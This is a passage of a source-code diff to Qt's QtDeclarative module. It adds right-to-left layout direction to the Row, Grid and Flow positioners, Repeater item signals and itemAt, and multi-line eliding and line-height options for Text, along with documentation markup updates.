QList<int> maxRowHeight;
int childIndex =0;
@@ -851,7 +943,7 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize)
if (i==0)
maxColWidth << 0;
- if (childIndex == positionedItems.count())
+ if (childIndex == visibleItems.count())
break;
const PositionedItem &child = visibleItems.at(childIndex++);
@@ -864,40 +956,71 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize)
}
}
+ int widthSum = 0;
+ for(int j=0; j < maxColWidth.size(); j++){
+ if(j)
+ widthSum += spacing();
+ widthSum += maxColWidth[j];
+ }
+
+ int heightSum = 0;
+ for(int i=0; i < maxRowHeight.size(); i++){
+ if(i)
+ heightSum += spacing();
+ heightSum += maxRowHeight[i];
+ }
+
+ contentSize->setHeight(heightSum);
+ contentSize->setWidth(widthSum);
+
+ int end = 0;
+ if(widthValid())
+ end = width();
+ else
+ end = widthSum;
+
int xoffset=0;
+ if(m_layoutDirection == Qt::RightToLeft)
+ xoffset=end;
int yoffset=0;
int curRow =0;
int curCol =0;
for (int i = 0; i < visibleItems.count(); ++i) {
const PositionedItem &child = visibleItems.at(i);
- if((child.item->x()!=xoffset)||(child.item->y()!=yoffset)){
- positionX(xoffset, child);
+ int childXOffset = xoffset;
+ if(m_layoutDirection == Qt::RightToLeft)
+ childXOffset -= QGraphicsItemPrivate::get(child.item)->width();
+ if((child.item->x()!=childXOffset)||(child.item->y()!=yoffset)){
+ positionX(childXOffset, child);
positionY(yoffset, child);
}
if (m_flow == LeftToRight) {
- contentSize->setWidth(qMax(contentSize->width(), xoffset + QGraphicsItemPrivate::get(child.item)->width()));
- contentSize->setHeight(yoffset + maxRowHeight[curRow]);
-
- xoffset+=maxColWidth[curCol]+spacing();
+ if(m_layoutDirection == Qt::LeftToRight)
+ xoffset+=maxColWidth[curCol]+spacing();
+ else
+ xoffset-=maxColWidth[curCol]+spacing();
curCol++;
curCol%=c;
if (!curCol){
yoffset+=maxRowHeight[curRow]+spacing();
- xoffset=0;
+ if(m_layoutDirection == Qt::LeftToRight)
+ xoffset=0;
+ else
+ xoffset=end;
curRow++;
if (curRow>=r)
break;
}
} else {
- contentSize->setHeight(qMax(contentSize->height(), yoffset + QGraphicsItemPrivate::get(child.item)->height()));
- contentSize->setWidth(xoffset + maxColWidth[curCol]);
-
yoffset+=maxRowHeight[curRow]+spacing();
curRow++;
curRow%=r;
if (!curRow){
- xoffset+=maxColWidth[curCol]+spacing();
+ if(m_layoutDirection == Qt::LeftToRight)
+ xoffset+=maxColWidth[curCol]+spacing();
+ else
+ xoffset-=maxColWidth[curCol]+spacing();
yoffset=0;
curCol++;
if (curCol>=c)
@@ -973,7 +1096,7 @@ void QDeclarativeGrid::reportConflictingAnchors()
Items with a width or height of 0 will not be positioned.
- \sa Column, Row, Grid, {declarative/positioners}{Positioners example}
+ \sa Column, Row, Grid, {declarative/positioners/addandremove}{Positioners example}
*/
/*!
\qmlproperty Transition Flow::add
@@ -1012,7 +1135,7 @@ void QDeclarativeGrid::reportConflictingAnchors()
}
\endqml
- \sa add, {declarative/positioners}{Positioners example}
+ \sa add, {declarative/positioners/addandremove}{Positioners example}
*/
/*!
\qmlproperty int Flow::spacing
@@ -1029,10 +1152,12 @@ class QDeclarativeFlowPrivate : public QDeclarativeBasePositionerPrivate
public:
QDeclarativeFlowPrivate()
- : QDeclarativeBasePositionerPrivate(), flow(QDeclarativeFlow::LeftToRight)
+ : QDeclarativeBasePositionerPrivate(), flow(QDeclarativeFlow::LeftToRight),
+ layoutDirection(Qt::LeftToRight)
{}
QDeclarativeFlow::Flow flow;
+ Qt::LayoutDirection layoutDirection;
};
QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent)
@@ -1051,7 +1176,7 @@ QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent)
\list
\o Flow.LeftToRight (default) - Items are positioned next to
- to each other from left to right until the width of the Flow
+ to each other according to the \l layoutDirection until the width of the Flow
is exceeded, then wrapped to the next line.
\o Flow.TopToBottom - Items are positioned next to each
other from top to bottom until the height of the Flow is exceeded,
@@ -1074,6 +1199,40 @@ void QDeclarativeFlow::setFlow(Flow flow)
}
}
+/*!
+ \qmlproperty enumeration Flow::layoutDirection
+ This property holds the layout direction of the layout.
+
+ Possible values are:
+
+ \list
+ \o Qt.LeftToRight (default) - Items are positioned beginning
+ from the top, left anchor. The flow direction is dependent
+ on the \l Flow::flow property.
+ \o Qt.RightToLeft - Items are positioned beginning from the
+ top, right anchor. The flow direction is dependent on the
+ \l Flow::flow property.
+ \endlist
+
+ \sa Grid::layoutDirection, Row::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example}
+*/
+
+Qt::LayoutDirection QDeclarativeFlow::layoutDirection() const
+{
+ Q_D(const QDeclarativeFlow);
+ return d->layoutDirection;
+}
+
+void QDeclarativeFlow::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+ Q_D(QDeclarativeFlow);
+ if (d->layoutDirection != layoutDirection) {
+ d->layoutDirection = layoutDirection;
+ prePositioning();
+ emit layoutDirectionChanged();
+ }
+}
+
void QDeclarativeFlow::doPositioning(QSizeF *contentSize)
{
Q_D(QDeclarativeFlow);
@@ -1081,6 +1240,7 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize)
int hoffset = 0;
int voffset = 0;
int linemax = 0;
+ QList<int> hoffsets;
for (int i = 0; i < positionedItems.count(); ++i) {
const PositionedItem &child = positionedItems.at(i);
@@ -1102,10 +1262,14 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize)
}
}
- if(child.item->x() != hoffset || child.item->y() != voffset){
- positionX(hoffset, child);
- positionY(voffset, child);
+ if(d->layoutDirection == Qt::LeftToRight){
+ if(child.item->x() != hoffset)
+ positionX(hoffset, child);
+ }else{
+ hoffsets << hoffset;
}
+ if(child.item->y() != voffset)
+ positionY(voffset, child);
contentSize->setWidth(qMax(contentSize->width(), hoffset + childPrivate->width()));
contentSize->setHeight(qMax(contentSize->height(), voffset + childPrivate->height()));
@@ -1120,6 +1284,24 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize)
linemax = qMax(linemax, qCeil(childPrivate->width()));
}
}
+
+ if(d->layoutDirection == Qt::LeftToRight)
+ return;
+
+ int end;
+ if(widthValid())
+ end = width();
+ else
+ end = contentSize->width();
+ int acc = 0;
+ for (int i = 0; i < positionedItems.count(); ++i) {
+ const PositionedItem &child = positionedItems.at(i);
+ if (!child.item || !child.isVisible)
+ continue;
+ hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width();
+ if(child.item->x() != hoffset)
+ positionX(hoffset, child);
+ }
}
void QDeclarativeFlow::reportConflictingAnchors()
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
index 9efbeb9..55d8fa1 100644
--- a/src/declarative/graphicsitems/qdeclarativepositioners_p.h
+++ b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
@@ -42,7 +42,7 @@
#ifndef QDECLARATIVELAYOUTS_H
#define QDECLARATIVELAYOUTS_H
-#include "qdeclarativeitem.h"
+#include "qdeclarativeimplicitsizeitem_p.h"
#include <private/qdeclarativestate_p.h>
#include <private/qpodvector_p.h>
@@ -57,7 +57,7 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
class QDeclarativeBasePositionerPrivate;
-class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBasePositioner : public QDeclarativeItem
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBasePositioner : public QDeclarativeImplicitSizeItem
{
Q_OBJECT
@@ -129,12 +129,21 @@ private:
class Q_AUTOTEST_EXPORT QDeclarativeRow: public QDeclarativeBasePositioner
{
Q_OBJECT
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
public:
QDeclarativeRow(QDeclarativeItem *parent=0);
+
+ Qt::LayoutDirection layoutDirection() const;
+ void setLayoutDirection (Qt::LayoutDirection);
+
+Q_SIGNALS:
+ Q_REVISION(1) void layoutDirectionChanged();
+
protected:
virtual void doPositioning(QSizeF *contentSize);
virtual void reportConflictingAnchors();
private:
+ Qt::LayoutDirection m_layoutDirection;
Q_DISABLE_COPY(QDeclarativeRow)
};
@@ -144,6 +153,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeGrid : public QDeclarativeBasePositioner
Q_PROPERTY(int rows READ rows WRITE setRows NOTIFY rowsChanged)
Q_PROPERTY(int columns READ columns WRITE setColumns NOTIFY columnsChanged)
Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
public:
QDeclarativeGrid(QDeclarativeItem *parent=0);
@@ -159,10 +169,14 @@ public:
Flow flow() const;
void setFlow(Flow);
+ Qt::LayoutDirection layoutDirection() const;
+ void setLayoutDirection (Qt::LayoutDirection);
+
Q_SIGNALS:
void rowsChanged();
void columnsChanged();
void flowChanged();
+ Q_REVISION(1) void layoutDirectionChanged();
protected:
virtual void doPositioning(QSizeF *contentSize);
@@ -172,6 +186,7 @@ private:
int m_rows;
int m_columns;
Flow m_flow;
+ Qt::LayoutDirection m_layoutDirection;
Q_DISABLE_COPY(QDeclarativeGrid)
};
@@ -179,6 +194,7 @@ class QDeclarativeFlowPrivate;
class Q_AUTOTEST_EXPORT QDeclarativeFlow: public QDeclarativeBasePositioner
{
Q_OBJECT
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
public:
QDeclarativeFlow(QDeclarativeItem *parent=0);
@@ -188,8 +204,12 @@ public:
Flow flow() const;
void setFlow(Flow);
+ Qt::LayoutDirection layoutDirection() const;
+ void setLayoutDirection (Qt::LayoutDirection);
+
Q_SIGNALS:
void flowChanged();
+ Q_REVISION(1) void layoutDirectionChanged();
protected:
virtual void doPositioning(QSizeF *contentSize);
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
index c6535a7..df105c6 100644
--- a/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
@@ -55,7 +55,7 @@
#include "private/qdeclarativepositioners_p.h"
-#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
#include <qdeclarativestate_p.h>
#include <qdeclarativetransitionmanager_p_p.h>
@@ -67,7 +67,7 @@
#include <QDebug>
QT_BEGIN_NAMESPACE
-class QDeclarativeBasePositionerPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
+class QDeclarativeBasePositionerPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
{
Q_DECLARE_PUBLIC(QDeclarativeBasePositioner)
diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
index 94db2f1..d962919 100644
--- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp
+++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
@@ -60,7 +60,10 @@ QT_BEGIN_NAMESPACE
Example:
\qml
- Rectangle { border.width: 2; border.color: "red" ... }
+ Rectangle {
+ border.width: 2
+ border.color: "red"
+ }
\endqml
*/
@@ -131,9 +134,9 @@ void QDeclarativeGradientStop::updateGradient()
\section1 Example Usage
- \beginfloatright
+ \div {float-right}
\inlineimage qml-gradient.png
- \endfloat
+ \enddiv
The following example declares a \l Rectangle item with a gradient starting
with red, blending to yellow at one third of the height of the rectangle,
@@ -217,9 +220,9 @@ void QDeclarativeGradient::doUpdate()
\section1 Example Usage
- \beginfloatright
+ \div {float-right}
\inlineimage declarative-rect.png
- \endfloat
+ \enddiv
The following example shows the effects of some of the common properties on a
Rectangle item, which in this case is used to create a square:
@@ -269,9 +272,9 @@ void QDeclarativeRectangle::doUpdate()
rectangle (as documented for QRect rendering). This can cause unintended effects if
\c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item:
- \beginfloatright
+ \div {float-right}
\inlineimage rect-border-width.png
- \endfloat
+ \enddiv
\snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0
@@ -293,9 +296,9 @@ QDeclarativePen *QDeclarativeRectangle::border()
This property allows for the construction of simple vertical gradients.
Other gradients may by formed by adding rotation to the rectangle.
- \beginfloatleft
+ \div {float-left}
\inlineimage declarative-rect_gradient.png
- \endfloat
+ \enddiv
\snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles
\clearfloat
@@ -361,9 +364,9 @@ void QDeclarativeRectangle::setRadius(qreal radius)
The default color is white.
- \beginfloatright
+ \div {float-right}
\inlineimage rect-color.png
- \endfloat
+ \enddiv
The following example shows rectangles with colors specified
using hexadecimal and named color notation:
diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp
index 7aa30e5..4d0f34c 100644
--- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp
+++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp
@@ -84,43 +84,23 @@ QDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate()
\image repeater-simple.png
- The \l model of a Repeater can be any of the supported \l {qmlmodels}{Data Models}.
+ A Repeater's \l model can be any of the supported \l {qmlmodels}{data models}.
+ Additionally, like delegates for other views, a Repeater delegate can access
+ its index within the repeater, as well as the model data relevant to the
+ delegate. See the \l delegate property documentation for details.
Items instantiated by the Repeater are inserted, in order, as
children of the Repeater's parent. The insertion starts immediately after
the repeater's position in its parent stacking list. This allows
a Repeater to be used inside a layout. For example, the following Repeater's
items are stacked between a red rectangle and a blue rectangle:
-
+
\snippet doc/src/snippets/declarative/repeaters/repeater.qml layout
\image repeater.png
- \section2 The \c index and \c modelData properties
-
- The index of a delegate is exposed as an accessible \c index property in the delegate.
- Properties of the model are also available depending upon the type of \l {qmlmodels}{Data Model}.
-
- Here is a Repeater that uses the \c index property inside the instantiated items:
-
- \table
- \row
- \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index
- \o \image repeater-index.png
- \endtable
-
- Here is another Repeater that uses the \c modelData property to reference the data for a
- particular index:
-
- \table
- \row
- \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata
- \o \image repeater-modeldata.png
- \endtable
-
-
- A Repeater item owns all items it instantiates. Removing or dynamically destroying
+ \note A Repeater item owns all items it instantiates. Removing or dynamically destroying
an item created by a Repeater results in unpredictable behavior.
@@ -146,6 +126,27 @@ QDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate()
\endcode
*/
+/*!
+ \qmlsignal Repeater::onItemAdded(int index, Item item)
+ \since Quick 1.1
+
+ This handler is called when an item is added to the repeater. The \a index
+ parameter holds the index at which the item has been inserted within the
+ repeater, and the \a item parameter holds the \l Item that has been added.
+*/
+
+/*!
+ \qmlsignal Repeater::onItemRemoved(int index, Item item)
+ \since Quick 1.1
+
+ This handler is called when an item is removed from the repeater. The \a index
+ parameter holds the index at which the item was removed from the repeater,
+ and the \a item parameter holds the \l Item that was removed.
+
+ Do not keep a reference to \a item if it was created by this repeater, as
+ in these cases it will be deleted shortly after the handler is called.
+*/
+
QDeclarativeRepeater::QDeclarativeRepeater(QDeclarativeItem *parent)
: QDeclarativeItem(*(new QDeclarativeRepeaterPrivate), parent)
{
@@ -160,26 +161,16 @@ QDeclarativeRepeater::~QDeclarativeRepeater()
The model providing data for the repeater.
- This property can be set to any of the following:
+ This property can be set to any of the supported \l {qmlmodels}{data models}:
\list
- \o A number that indicates the number of delegates to be created
+ \o A number that indicates the number of delegates to be created by the repeater
\o A model (e.g. a ListModel item, or a QAbstractItemModel subclass)
\o A string list
\o An object list
\endlist
- In each case, the data element and the index is exposed to each instantiated
- component. The index is always exposed as an accessible \c index property.
- In the case of an object or string list, the data element (of type string
- or object) is available as the \c modelData property. In the case of a Qt model,
- all roles are available as named properties just like in the view classes.
-
- As a special case the model can also be merely a number. In this case it will
- create that many instances of the component. They will also be assigned an index
- based on the order they are created.
-
- Models can also be created directly in QML, using a \l{ListModel} or \l{XmlListModel}.
+ The type of model affects the properties that are exposed to the \l delegate.
\sa {qmlmodels}{Data Models}
*/
@@ -207,7 +198,6 @@ void QDeclarativeRepeater::setModel(const QVariant &model)
*/
}
d->dataSource = model;
- emit modelChanged();
QObject *object = qvariant_cast<QObject*>(model);
QDeclarativeVisualModel *vim = 0;
if (object && (vim = qobject_cast<QDeclarativeVisualModel *>(object))) {
@@ -235,6 +225,7 @@ void QDeclarativeRepeater::setModel(const QVariant &model)
*/
regenerate();
}
+ emit modelChanged();
emit countChanged();
}
@@ -243,8 +234,33 @@ void QDeclarativeRepeater::setModel(const QVariant &model)
\default
The delegate provides a template defining each item instantiated by the repeater.
- The index is exposed as an accessible \c index property. Properties of the
- model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+
+ Delegates are exposed to a read-only \c index property that indicates the index
+ of the delegate within the repeater. For example, the following \l Text delegate
+ displays the index of each repeated item:
+
+ \table
+ \row
+ \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index
+ \o \image repeater-index.png
+ \endtable
+
+ If the \l model is a \l{QStringList-based model}{string list} or
+ \l{QObjectList-based model}{object list}, the delegate is also exposed to
+ a read-only \c modelData property that holds the string or object data. For
+ example:
+
+ \table
+ \row
+ \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata
+ \o \image repeater-modeldata.png
+ \endtable
+
+ If the \l model is a model object (such as a \l ListModel) the delegate
+ can access all model roles as named properties, in the same way that delegates
+ do for view classes like ListView.
+
+ \sa {QML Data Models}
*/
QDeclarativeComponent *QDeclarativeRepeater::delegate() const
{
@@ -288,6 +304,21 @@ int QDeclarativeRepeater::count() const
return 0;
}
+/*!
+ \qmlmethod Item Repeater::itemAt(index)
+ \since Quick 1.1
+
+ Returns the \l Item that has been created at the given \a index, or \c null
+ if no item exists at \a index.
+*/
+QDeclarativeItem *QDeclarativeRepeater::itemAt(int index) const
+{
+ Q_D(const QDeclarativeRepeater);
+ if (index >= 0 && index < d->deletables.count())
+ return d->deletables[index];
+ return 0;
+
+}
void QDeclarativeRepeater::componentComplete()
{
@@ -309,8 +340,13 @@ QVariant QDeclarativeRepeater::itemChange(GraphicsItemChange change,
void QDeclarativeRepeater::clear()
{
Q_D(QDeclarativeRepeater);
+ bool complete = isComponentComplete();
+
if (d->model) {
- foreach (QDeclarativeItem *item, d->deletables) {
+ while (d->deletables.count() > 0) {
+ QDeclarativeItem *item = d->deletables.takeLast();
+ if (complete)
+ emit itemRemoved(d->deletables.count()-1, item);
d->model->release(item);
}
}
@@ -335,6 +371,7 @@ void QDeclarativeRepeater::regenerate()
item->setParentItem(parentItem());
item->stackBefore(this);
d->deletables << item;
+ emit itemAdded(ii, item);
}
}
}
@@ -355,6 +392,7 @@ void QDeclarativeRepeater::itemsInserted(int index, int count)
else
item->stackBefore(this);
d->deletables.insert(modelIndex, item);
+ emit itemAdded(modelIndex, item);
}
}
emit countChanged();
@@ -367,6 +405,7 @@ void QDeclarativeRepeater::itemsRemoved(int index, int count)
return;
while (count--) {
QDeclarativeItem *item = d->deletables.takeAt(index);
+ emit itemRemoved(index, item);
if (item)
d->model->release(item);
else
diff --git a/src/declarative/graphicsitems/qdeclarativerepeater_p.h b/src/declarative/graphicsitems/qdeclarativerepeater_p.h
index 73b50c2..9cb4e30 100644
--- a/src/declarative/graphicsitems/qdeclarativerepeater_p.h
+++ b/src/declarative/graphicsitems/qdeclarativerepeater_p.h
@@ -72,10 +72,16 @@ public:
int count() const;
+ Q_INVOKABLE Q_REVISION(1) QDeclarativeItem *itemAt(int index) const;
+
Q_SIGNALS:
void modelChanged();
void delegateChanged();
void countChanged();
+
+ Q_REVISION(1) void itemAdded(int index, QDeclarativeItem *item);
+ Q_REVISION(1) void itemRemoved(int index, QDeclarativeItem *item);
+
private:
void clear();
void regenerate();
diff --git a/src/declarative/graphicsitems/qdeclarativescalegrid.cpp b/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
index 804e91d..3ad0da6 100644
--- a/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
+++ b/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
@@ -136,12 +136,12 @@ QDeclarativeGridScaledImage::QDeclarativeGridScaledImage(QIODevice *data)
if (line.isEmpty() || line.startsWith(QLatin1Char('#')))
continue;
- QStringList list = line.split(QLatin1Char(':'));
- if (list.count() != 2)
+ int colonId = line.indexOf(QLatin1Char(':'));
+ if (colonId <= 0)
return;
-
- list[0] = list[0].trimmed();
- list[1] = list[1].trimmed();
+ QStringList list;
+ list.append(line.left(colonId).trimmed());
+ list.append(line.mid(colonId+1).trimmed());
if (list[0] == QLatin1String("border.left"))
l = list[1].toInt();
diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
index 2f3c8e5..559d061 100644
--- a/src/declarative/graphicsitems/qdeclarativetext.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
@@ -54,6 +54,7 @@
#include <QPainter>
#include <QAbstractTextDocumentLayout>
#include <qmath.h>
+#include <limits.h>
QT_BEGIN_NAMESPACE
@@ -84,12 +85,16 @@ private:
DEFINE_BOOL_CONFIG_OPTION(enableImageCache, QML_ENABLE_TEXT_IMAGE_CACHE);
+QString QDeclarativeTextPrivate::elideChar = QString(0x2026);
+
QDeclarativeTextPrivate::QDeclarativeTextPrivate()
: color((QRgb)0), style(QDeclarativeText::Normal), hAlign(QDeclarativeText::AlignLeft),
vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone),
- format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), imageCacheDirty(true),
- updateOnComponentComplete(true), richText(false), singleline(false), cacheAllTextAsImage(true),
- internalWidthUpdate(false), doc(0)
+ format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineHeight(1),
+ lineHeightMode(QDeclarativeText::ProportionalHeight),
+ lineCount(1), truncated(false), maximumLineCount(INT_MAX),
+ maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false),
+ cacheAllTextAsImage(true), internalWidthUpdate(false), requireImplicitWidth(false), naturalWidth(0), doc(0)
{
cacheAllTextAsImage = enableImageCache();
QGraphicsItemPrivate::acceptedMouseButtons = Qt::LeftButton;
@@ -176,6 +181,18 @@ QDeclarativeTextPrivate::~QDeclarativeTextPrivate()
{
}
+qreal QDeclarativeTextPrivate::implicitWidth() const
+{
+ if (!requireImplicitWidth) {
+ // We don't calculate implicitWidth unless it is required.
+ // We need to force a size update now to ensure implicitWidth is calculated
+ QDeclarativeTextPrivate *me = const_cast<QDeclarativeTextPrivate*>(this);
+ me->requireImplicitWidth = true;
+ me->updateSize();
+ }
+ return mImplicitWidth;
+}
+
void QDeclarativeTextPrivate::updateLayout()
{
Q_Q(QDeclarativeText);
@@ -192,9 +209,13 @@ void QDeclarativeTextPrivate::updateLayout()
QString tmp = text;
tmp.replace(QLatin1Char('\n'), QChar::LineSeparator);
singleline = !tmp.contains(QChar::LineSeparator);
- if (singleline && elideMode != QDeclarativeText::ElideNone && q->widthValid()) {
+ if (singleline && !maximumLineCountValid && elideMode != QDeclarativeText::ElideNone && q->widthValid()) {
QFontMetrics fm(font);
tmp = fm.elidedText(tmp,(Qt::TextElideMode)elideMode,q->width()); // XXX still worth layout...?
+ if (tmp != text && !truncated) {
+ truncated = true;
+ emit q->truncatedChanged();
+ }
}
layout.setText(tmp);
} else {
@@ -215,12 +236,20 @@ void QDeclarativeTextPrivate::updateSize()
return;
}
+ if (!requireImplicitWidth) {
+ emit q->implicitWidthChanged();
+ // if the implicitWidth is used, then updateSize() has already been called (recursively)
+ if (requireImplicitWidth)
+ return;
+ }
+
invalidateImageCache();
QFontMetrics fm(font);
if (text.isEmpty()) {
q->setImplicitWidth(0);
q->setImplicitHeight(fm.height());
+ paintedSize = QSize(0, fm.height());
emit q->paintedSizeChanged();
q->update();
return;
@@ -241,9 +270,14 @@ void QDeclarativeTextPrivate::updateSize()
singleline = false; // richtext can't elide or be optimized for single-line case
ensureDoc();
doc->setDefaultFont(font);
- QTextOption option((Qt::Alignment)int(hAlign | vAlign));
+ QTextOption option;
+ option.setAlignment((Qt::Alignment)int(hAlign | vAlign));
option.setWrapMode(QTextOption::WrapMode(wrapMode));
doc->setDefaultTextOption(option);
+ if (requireImplicitWidth && q->widthValid()) {
+ doc->setTextWidth(-1);
+ naturalWidth = doc->idealWidth();
+ }
if (wrapMode != QDeclarativeText::NoWrap && q->widthValid())
doc->setTextWidth(q->width());
else
@@ -268,10 +302,16 @@ void QDeclarativeTextPrivate::updateSize()
//### need to comfirm cost of always setting these for richText
internalWidthUpdate = true;
- q->setImplicitWidth(size.width());
+ if (!q->widthValid())
+ q->setImplicitWidth(size.width());
+ else if (requireImplicitWidth)
+ q->setImplicitWidth(naturalWidth);
internalWidthUpdate = false;
q->setImplicitHeight(size.height());
- emit q->paintedSizeChanged();
+ if (paintedSize != size) {
+ paintedSize = size;
+ emit q->paintedSizeChanged();
+ }
q->update();
}
@@ -291,25 +331,107 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
qreal height = 0;
qreal widthUsed = 0;
qreal lineWidth = 0;
+ int visibleTextLength = 0;
+ int visibleCount = 0;
//set manual width
if ((wrapMode != QDeclarativeText::NoWrap || elideMode != QDeclarativeText::ElideNone) && q->widthValid())
lineWidth = q->width();
QTextOption textOption = layout.textOption();
+ if (hAlign == QDeclarativeText::AlignJustify)
+ textOption.setAlignment(Qt::Alignment(hAlign));
textOption.setWrapMode(QTextOption::WrapMode(wrapMode));
layout.setTextOption(textOption);
- layout.beginLayout();
- forever {
- QTextLine line = layout.createLine();
- if (!line.isValid())
- break;
+ QDeclarativeText::HAlignment hAlignment = hAlign;
+ if(text.isRightToLeft()) {
+ if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) {
+ hAlignment = QDeclarativeText::AlignRight;
+ } else if (hAlign == QDeclarativeText::AlignRight) {
+ hAlignment = QDeclarativeText::AlignLeft;
+ } else {
+ hAlignment = hAlign;
+ }
+ }
- if (lineWidth)
+ bool elideText = false;
+ bool truncate = false;
+
+ QFontMetrics fm(layout.font());
+ qreal elideWidth = fm.width(elideChar);
+ elidePos = QPointF();
+
+ if (requireImplicitWidth && q->widthValid()) {
+ // requires an extra layout
+ layout.beginLayout();
+ forever {
+ QTextLine line = layout.createLine();
+ if (!line.isValid())
+ break;
+ }
+ layout.endLayout();
+ naturalWidth = 0;
+ for (int i = 0; i < layout.lineCount(); ++i) {
+ QTextLine line = layout.lineAt(i);
+ naturalWidth = qMax(naturalWidth, line.naturalTextWidth());
+ }
+ }
+
+ if (maximumLineCountValid) {
+ layout.beginLayout();
+ if (!lineWidth)
+ lineWidth = INT_MAX;
+ int y = 0;
+ int linesLeft = maximumLineCount;
+ while (linesLeft > 0) {
+ QTextLine line = layout.createLine();
+ if (!line.isValid())
+ break;
+
+ visibleCount++;
line.setLineWidth(lineWidth);
+ visibleTextLength += line.textLength();
+
+ if (--linesLeft == 0) {
+ if (visibleTextLength < text.length()) {
+ truncate = true;
+ if (elideMode==QDeclarativeText::ElideRight && q->widthValid()) {
+ // Need to correct for alignment
+ line.setLineWidth(lineWidth-elideWidth);
+ int x = line.naturalTextWidth();
+ if (hAlignment == QDeclarativeText::AlignRight) {
+ x = q->width()-elideWidth;
+ } else if (hAlignment == QDeclarativeText::AlignHCenter) {
+ x = (q->width()+line.naturalTextWidth()-elideWidth)/2;
+ }
+ elidePos = QPointF(x, y + fm.ascent());
+ elideText = true;
+ }
+ }
+ }
+
+ y += line.height();
+ }
+ layout.endLayout();
+
+ //Update truncated
+ if (truncated != truncate) {
+ truncated = truncate;
+ emit q->truncatedChanged();
+ }
+ } else {
+ layout.beginLayout();
+ forever {
+ QTextLine line = layout.createLine();
+ if (!line.isValid())
+ break;
+ visibleCount++;
+ if (lineWidth)
+ line.setLineWidth(lineWidth);
+ }
+ layout.endLayout();
}
- layout.endLayout();
for (int i = 0; i < layout.lineCount(); ++i) {
QTextLine line = layout.lineAt(i);
@@ -317,26 +439,38 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
}
qreal layoutWidth = q->widthValid() ? q->width() : widthUsed;
+ if (!q->widthValid())
+ naturalWidth = layoutWidth;
qreal x = 0;
for (int i = 0; i < layout.lineCount(); ++i) {
QTextLine line = layout.lineAt(i);
line.setPosition(QPointF(0, height));
- height += line.height();
+ height += (lineHeightMode == QDeclarativeText::FixedHeight) ? lineHeight : line.height() * lineHeight;
if (!cacheAllTextAsImage) {
- if (hAlign == QDeclarativeText::AlignLeft) {
+ if ((hAlignment == QDeclarativeText::AlignLeft) || (hAlignment == QDeclarativeText::AlignJustify)) {
x = 0;
- } else if (hAlign == QDeclarativeText::AlignRight) {
+ } else if (hAlignment == QDeclarativeText::AlignRight) {
x = layoutWidth - line.naturalTextWidth();
- } else if (hAlign == QDeclarativeText::AlignHCenter) {
+ if (elideText && i == layout.lineCount()-1)
+ x -= elideWidth; // Correct for when eliding multilines
+ } else if (hAlignment == QDeclarativeText::AlignHCenter) {
x = (layoutWidth - line.naturalTextWidth()) / 2;
+ if (elideText && i == layout.lineCount()-1)
